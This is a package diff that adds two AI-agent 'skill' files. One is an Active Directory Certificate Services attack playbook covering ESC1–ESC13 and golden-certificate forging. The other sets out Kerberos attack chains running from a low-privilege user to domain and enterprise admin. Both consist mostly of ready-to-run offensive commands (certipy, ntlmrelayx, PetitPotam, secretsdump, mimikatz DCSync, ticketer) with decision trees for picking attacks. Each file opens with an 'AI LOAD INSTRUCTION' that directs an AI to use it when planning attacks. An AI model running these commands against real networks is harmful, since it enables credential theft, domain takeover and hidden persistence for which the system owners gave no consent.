ineedcodes 1.6.1 → 1.7.0

package/skills/active-directory-certificate-services/SKILL.md

@@ -0,0 +1,303 @@
+---
+name: active-directory-certificate-services
+description: >-
+  AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.gated: true
+---
+
+# SKILL: AD CS Attack Playbook — Expert Guide
+
+> **AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template modification)
+- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaining certificates
+- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint)
+- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement
+
+### Advanced Reference
+
+Also load [ADCS_ESC_MATRIX.md](./ADCS_ESC_MATRIX.md) when you need:
+- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
+- One-liner exploitation commands per ESC variant
+- Detection indicators per technique
+
+---
+
+## 1. AD CS ARCHITECTURE OVERVIEW
+
+```
+Certificate Authority (CA)
+│
+├── Enterprise CA (AD-integrated, issues certs based on templates)
+│   ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
+│   ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
+│   └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
+│
+├── Template Key Settings:
+│   ├── Subject Alternative Name (SAN): who the cert represents
+│   ├── Extended Key Usage (EKU): what the cert allows
+│   ├── Enrollment permissions: who can request
+│   └── Issuance requirements: manager approval, authorized signatures
+│
+└── Certificate → Kerberos Auth Flow:
+    User presents cert → PKINIT → KDC verifies → issues TGT
+```
+
+---
+
+## 2. ENUMERATION
+
+```bash
+# Certipy (recommended — comprehensive)
+certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
+certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
+
+# Certify (from Windows)
+Certify.exe find
+Certify.exe find /vulnerable
+Certify.exe cas                    # Enumerate CAs
+
+# Manual LDAP query for templates
+ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
+  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
+  "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
+```
+
+---
+
+## 3. ESC1 — ENROLLEE SUPPLIES SUBJECT
+
+**Condition**: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
+
+```bash
+# Certipy
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template VulnTemplate -upn administrator@domain.com
+
+# Certify (Windows)
+Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
+
+# Authenticate with certificate
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+# → NT hash of administrator
+```
+
+---
+
+## 4. ESC2 — ANY PURPOSE EKU
+
+**Condition**: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
+
+```bash
+# Same as ESC1 exploitation
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template AnyPurposeTemplate -upn administrator@domain.com
+```
+
+---
+
+## 5. ESC3 — ENROLLMENT AGENT
+
+**Condition**: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
+
+```bash
+# Step 1: Request enrollment agent cert
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template EnrollmentAgent
+
+# Step 2: Use enrollment agent cert to request on behalf of admin
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
+
+# Authenticate
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+```
+
+---
+
+## 6. ESC4 — TEMPLATE ACL MISCONFIGURATION
+
+**Condition**: Low-privilege user has write access to certificate template object.
+
+```bash
+# Modify template to become ESC1 vulnerable
+# Using Certipy:
+certipy template -u user@domain.com -p password -template VulnTemplate \
+  -save-old -dc-ip DC_IP
+
+# Template is now ESC1 → exploit as ESC1
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template VulnTemplate -upn administrator@domain.com
+
+# Restore original template (cleanup)
+certipy template -u user@domain.com -p password -template VulnTemplate \
+  -configuration old_config.json -dc-ip DC_IP
+```
+
+---
+
+## 7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
+
+**Condition**: CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled → any template becomes ESC1.
+
+```bash
+# Check if flag is set
+certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
+
+# Exploit: request any template with SAN
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template User -upn administrator@domain.com
+```
+
+---
+
+## 8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
+
+**Condition**: User has ManageCA or ManageCertificates permission on the CA.
+
+```bash
+# With ManageCA: enable SubCA template (always allows SAN)
+certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
+  -enable-template SubCA
+
+# Request SubCA cert with admin SAN (will be denied — "pending")
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -template SubCA -upn administrator@domain.com
+
+# With ManageCertificates: approve the pending request
+certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
+  -issue-request REQUEST_ID
+
+# Retrieve the issued certificate
+certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
+  -retrieve REQUEST_ID
+```
+
+---
+
+## 9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
+
+**Condition**: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
+
+```bash
+# Setup relay to enrollment endpoint
+ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
+PetitPotam.py RELAY_HOST DC01.domain.com
+
+# DC authenticates → relay → certificate issued for DC01$
+# Authenticate with certificate
+certipy auth -pfx dc01.pfx -dc-ip DC_IP
+# → DC01$ hash → DCSync
+```
+
+---
+
+## 10. ESC9-ESC13 — NEWER DISCOVERIES
+
+### ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
+
+Weak certificate mapping allows impersonation when `CT_FLAG_NO_SECURITY_EXTENSION` is set.
+
+```bash
+# Change victim's UPN to admin, request cert, change back
+certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
+```
+
+### ESC10: Weak Certificate Mapping (Registry-based)
+
+Similar to ESC9 but exploits `CertificateMappingMethods` registry value on DC.
+
+### ESC11: NTLM Relay to RPC Enrollment
+
+Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
+
+```bash
+ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
+  -smb2support --adcs --template DomainController
+```
+
+### ESC13: OID Group Link (Issuance Policy)
+
+Template's issuance policy OID is linked to a group → certificate grants that group membership.
+
+```bash
+certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
+  -template ESC13Template
+# Certificate grants membership in linked group
+```
+
+---
+
+## 11. CERTIFICATE-BASED PERSISTENCE
+
+### Golden Certificate
+
+With CA private key → forge any certificate.
+
+```bash
+# Extract CA private key (requires admin on CA server)
+certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
+
+# Forge certificate for any user
+certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
+
+# Authenticate with forged cert
+certipy auth -pfx forged.pfx -dc-ip DC_IP
+```
+
+**Persistence**: Valid until CA certificate expires or CA private key is rotated.
+
+### ForgeCert (Windows)
+
+```cmd
+ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
+  --SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
+```
+
+---
+
+## 12. AD CS ATTACK DECISION TREE
+
+```
+Targeting AD CS
+│
+├── Enumerate: certipy find -vulnerable
+│
+├── Vulnerable template found?
+│   ├── Enrollee can set SAN + Client Auth EKU?
+│   │   └── ESC1 → request cert with admin UPN (§3)
+│   ├── Any Purpose EKU?
+│   │   └── ESC2 → same as ESC1 (§4)
+│   ├── Enrollment Agent template available?
+│   │   └── ESC3 → enroll as agent, then on-behalf-of (§5)
+│   └── OID group link in issuance policy?
+│       └── ESC13 → request cert for group membership (§10)
+│
+├── Write access to template?
+│   └── ESC4 → modify template to ESC1 condition (§6)
+│
+├── CA misconfiguration?
+│   ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
+│   │   └── ESC6 → any template becomes ESC1 (§7)
+│   ├── ManageCA / ManageCertificates permission?
+│   │   └── ESC7 → enable SubCA template, approve requests (§8)
+│   └── HTTP enrollment without HTTPS?
+│       └── ESC8 → NTLM relay to certsrv (§9)
+│
+├── Weak certificate mapping on DC?
+│   ├── StrongCertificateBindingEnforcement < 2?
+│   │   └── ESC9 → UPN manipulation + cert request (§10)
+│   └── CertificateMappingMethods misconfigured?
+│       └── ESC10 → similar UPN abuse (§10)
+│
+├── RPC enrollment without encryption?
+│   └── ESC11 → NTLM relay to RPC (§10)
+│
+└── Already CA admin?
+    └── Golden certificate for persistence (§11)
+```

package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md

@@ -0,0 +1,226 @@
+# Kerberos Multi-Step Attack Chains
+
+> **AI LOAD INSTRUCTION**: Load this for end-to-end Kerberos attack chains that combine multiple AD techniques. Assumes the main [SKILL.md](./SKILL.md) is already loaded for individual Kerberos attacks. Use when planning multi-step attack paths from initial foothold to domain admin.
+
+---
+
+## 1. CHAIN: KERBEROAST → CONSTRAINED DELEGATION → DOMAIN ADMIN
+
+### Scenario
+Low-privilege domain user → cracked service account → delegation abuse → DA.
+
+```
+Step 1: Kerberoast
+│  GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip DC -request
+│  hashcat -m 13100 tgs.txt wordlist.txt
+│  → Cracked: svc_backup / P@ssw0rd2024
+│
+Step 2: Enumerate delegation
+│  findDelegation.py DOMAIN/svc_backup:P@ssw0rd2024 -dc-ip DC
+│  → svc_backup has constrained delegation to cifs/DC01.domain.com
+│
+Step 3: S4U2Self + S4U2Proxy
+│  getST.py -spn cifs/DC01.domain.com -impersonate administrator DOMAIN/svc_backup:P@ssw0rd2024
+│
+Step 4: Access DC as administrator
+│  export KRB5CCNAME=administrator.ccache
+│  secretsdump.py -k -no-pass DC01.domain.com
+│  → Domain hashes dumped
+```
+
+---
+
+## 2. CHAIN: RBCD + KERBEROS → LATERAL MOVEMENT
+
+### Scenario
+Write access to a computer's `msDS-AllowedToActOnBehalfOfOtherIdentity` → RBCD → lateral to that host.
+
+```
+Step 1: Identify writable computer object
+│  (via BloodHound: GenericWrite on TARGET$)
+│
+Step 2: Create machine account
+│  addcomputer.py -computer-name 'EVIL$' -computer-pass 'Passw0rd!' DOMAIN/user:pass -dc-ip DC
+│
+Step 3: Set RBCD
+│  rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
+│
+Step 4: S4U chain
+│  getST.py -spn cifs/TARGET.domain.com -impersonate administrator DOMAIN/'EVIL$':'Passw0rd!' -dc-ip DC
+│
+Step 5: Use ticket
+│  export KRB5CCNAME=administrator.ccache
+│  psexec.py -k -no-pass TARGET.domain.com
+```
+
+---
+
+## 3. CHAIN: UNCONSTRAINED DELEGATION + PRINTERBUG → DCSYNC
+
+### Scenario
+Compromised host with unconstrained delegation → coerce DC → capture DC TGT → DCSync.
+
+```
+Step 1: Confirm unconstrained delegation
+│  Get-DomainComputer -Unconstrained (via PowerView)
+│  → WEBSRV01.domain.com has unconstrained delegation
+│
+Step 2: Start Rubeus monitor on WEBSRV01
+│  Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$
+│
+Step 3: Coerce DC authentication
+│  # From any domain machine, trigger PrinterBug:
+│  SpoolSample.exe DC01.domain.com WEBSRV01.domain.com
+│  # Or PetitPotam:
+│  PetitPotam.py WEBSRV01.domain.com DC01.domain.com
+│
+Step 4: Capture DC01$ TGT from Rubeus output
+│  Rubeus.exe ptt /ticket:base64_DC01_TGT
+│
+Step 5: DCSync with DC machine ticket
+│  mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt
+│  → krbtgt hash obtained → golden ticket capability
+```
+
+---
+
+## 4. CHAIN: AS-REP ROAST → ACL ABUSE → DCSYNC
+
+### Scenario
+No creds initially → AS-REP roast → cracked user has DCSync rights via ACL path.
+
+```
+Step 1: Enumerate users without preauth (no creds needed)
+│  GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC -format hashcat
+│  → $krb5asrep$23$svc_monitor@DOMAIN:...
+│
+Step 2: Crack AS-REP hash
+│  hashcat -m 18200 asrep.txt wordlist.txt
+│  → svc_monitor / Welcome2024!
+│
+Step 3: BloodHound enumeration
+│  bloodhound-python -d domain.com -u svc_monitor -p Welcome2024! -c all -dc DC01
+│  → svc_monitor has GenericAll on IT-ADMINS group
+│  → IT-ADMINS group has DCSync rights
+│
+Step 4: Add self to IT-ADMINS
+│  net rpc group addmem "IT-ADMINS" svc_monitor -U DOMAIN/svc_monitor -S DC01
+│
+Step 5: DCSync
+│  secretsdump.py DOMAIN/svc_monitor:Welcome2024!@DC01
+│  → All domain hashes
+```
+
+---
+
+## 5. CHAIN: TARGETED KERBEROAST VIA ACL
+
+### Scenario
+GenericWrite on a user → set SPN → kerberoast → crack password.
+
+```
+Step 1: Identify GenericWrite permission
+│  BloodHound: user "lowpriv" has GenericWrite on "svc_admin"
+│
+Step 2: Set SPN on target user (targeted kerberoasting)
+│  # PowerView
+│  Set-DomainObject -Identity svc_admin -Set @{serviceprincipalname='fake/service'}
+│  # Or Impacket
+│  addspn.py -u DOMAIN/lowpriv -p password -t svc_admin -s fake/service DC01
+│
+Step 3: Kerberoast the target
+│  GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip DC01 -request-user svc_admin
+│
+Step 4: Crack and clean up
+│  hashcat -m 13100 tgs.txt wordlist.txt
+│  # Remove the fake SPN
+│  Set-DomainObject -Identity svc_admin -Clear serviceprincipalname
+```
+
+---
+
+## 6. CHAIN: GOLDEN TICKET → CROSS-DOMAIN ESCALATION
+
+### Scenario
+Compromised child domain → golden ticket with SID history → enterprise admin in parent domain.
+
+```
+Step 1: Obtain child domain krbtgt hash
+│  secretsdump.py CHILD/administrator@childDC -just-dc-user krbtgt
+│
+Step 2: Get parent domain SID and Enterprise Admins group RID
+│  lookupsid.py PARENT/user:pass@parentDC 0
+│  → Parent Domain SID: S-1-5-21-PARENT...
+│  → Enterprise Admins RID: 519
+│
+Step 3: Forge golden ticket with SID history (ExtraSIDs)
+│  ticketer.py -nthash KRBTGT_HASH \
+│    -domain-sid S-1-5-21-CHILD... \
+│    -domain CHILD.PARENT.COM \
+│    -extra-sid S-1-5-21-PARENT...-519 \
+│    administrator
+│
+Step 4: Access parent domain DC
+│  export KRB5CCNAME=administrator.ccache
+│  psexec.py -k -no-pass PARENT.COM/administrator@parentDC.parent.com
+```
+
+---
+
+## 7. CHAIN: SHADOW CREDENTIALS + KERBEROS
+
+### Scenario
+GenericWrite on user → Shadow Credentials → certificate-based auth → TGT.
+
+```
+Step 1: Identify GenericWrite on target user/computer
+│  BloodHound path analysis
+│
+Step 2: Add shadow credential (msDS-KeyCredentialLink)
+│  # Whisker (Windows)
+│  Whisker.exe add /target:svc_admin /domain:domain.com /dc:DC01
+│  → Certificate and device ID generated
+│
+│  # pyWhisker (Linux)
+│  pywhisker.py -d domain.com -u lowpriv -p password --target svc_admin --action add --dc-ip DC01
+│
+Step 3: Use certificate to get TGT (PKINIT)
+│  Rubeus.exe asktgt /user:svc_admin /certificate:cert.pfx /password:certpass /ptt
+│
+│  # Or with PKINITtools
+│  gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass DOMAIN/svc_admin tgt.ccache
+│
+Step 4: Use TGT for further attacks
+│  export KRB5CCNAME=tgt.ccache
+│  # Now act as svc_admin
+```
+
+---
+
+## 8. ATTACK CHAIN SELECTION GUIDE
+
+```
+What access do you have?
+│
+├── No domain creds
+│   ├── Username list available? → AS-REP Roast (Chain 4)
+│   └── Network access only? → NTLM relay → see ntlm-relay-coercion
+│
+├── Low-privilege domain user
+│   ├── Kerberoastable SPNs found? → Kerberoast chain (Chain 1)
+│   ├── GenericWrite on user? → Targeted Kerberoast (Chain 5) or Shadow Creds (Chain 7)
+│   ├── GenericWrite on computer? → RBCD (Chain 2)
+│   └── Host with unconstrained delegation? → PrinterBug chain (Chain 3)
+│
+├── Service account compromised
+│   ├── Has constrained delegation? → S4U chain (Chain 1)
+│   └── No delegation? → Silver ticket for specific service
+│
+├── Domain Admin in child domain
+│   └── Want parent domain? → Golden ticket + ExtraSIDs (Chain 6)
+│
+└── Have krbtgt hash
+    ├── Golden ticket (basic persistence)
+    ├── Diamond ticket (evasive persistence)
+    └── Sapphire ticket (hardest to detect)
+```